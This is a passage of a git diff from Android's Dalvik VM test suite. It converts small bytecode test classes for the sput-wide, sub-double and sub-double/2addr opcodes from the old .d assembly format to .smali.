new file mode 100644
index 0000000..e6ca604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_5.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0.5
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_5;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d
deleted file mode 100644
index 1552b40..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_6.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_6
-.super java/lang/Object
-
-.field public static st_i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-wide v0, dot.junit.opcodes.sput_wide.d.T_sput_wide_6.st_i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali
new file mode 100644
index 0000000..56e0b03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_6.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-wide v0, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_6;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d
deleted file mode 100644
index 726dfff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_7.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_7
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_7.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali
new file mode 100644
index 0000000..de441c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_7.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_7;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d
deleted file mode 100644
index f14a34c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_8.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.TestStubs.TestStubField J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali
new file mode 100644
index 0000000..c3cc09a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_8.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/TestStubs;->TestStubField:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d
deleted file mode 100644
index 64f57d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_wide_9.java
-.class public dot.junit.opcodes.sput_wide.d.T_sput_wide_9
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v1, 0
-       sput-wide v1, dot.junit.opcodes.sput_wide.d.T_sput_wide_9noclass.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali
new file mode 100644
index 0000000..4c362b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_wide/d/T_sput_wide_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_wide_9.java"
+.class  public Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v1, 0
+       sput-wide v1, Ldot/junit/opcodes/sput_wide/d/T_sput_wide_9noclass;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d
deleted file mode 100644
index 99060a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_1.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali
new file mode 100644
index 0000000..3103cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_1.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d
deleted file mode 100644
index e202f3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       const v3, 3.1415
-       sub-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali
new file mode 100644
index 0000000..124d686
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_double/d/T_sub_double_2;
+.super Ljava/lang/Object;
+.source "T_sub_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    sub-double v0, p1, p3
+
+    return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d
deleted file mode 100644
index ac2644e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_3.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       sub-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali
new file mode 100644
index 0000000..4495759
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_3.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       sub-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d
deleted file mode 100644
index cf89f31..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_4.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali
new file mode 100644
index 0000000..3b89e85
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_4.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d
deleted file mode 100644
index 69bbda7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_5.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali
new file mode 100644
index 0000000..3c20a33
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_5.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d
deleted file mode 100644
index 6995970..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_6.java
-.class public dot.junit.opcodes.sub_double.d.T_sub_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)V
-.limit regs 7
-       move v0, v5
-       move v1, v5
-       move v2, v6
-       move v3, v6       
-       sub-double v0, v0, v2
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali
new file mode 100644
index 0000000..bf920b9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double/d/T_sub_double_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_6.java"
+.class  public Ldot/junit/opcodes/sub_double/d/T_sub_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6
+       move v3, v6       
+       sub-double v0, v0, v2
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d
deleted file mode 100644
index 8df12c1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_1.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       sub-double/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali
new file mode 100644
index 0000000..e13ad72
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       sub-double/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d
deleted file mode 100644
index 0b37443c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_double_2addr/d/T_sub_double_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_double_2addr_2.java
-.class public dot.junit.opcodes.sub_double_2addr.d.T_sub_double_2addr_2
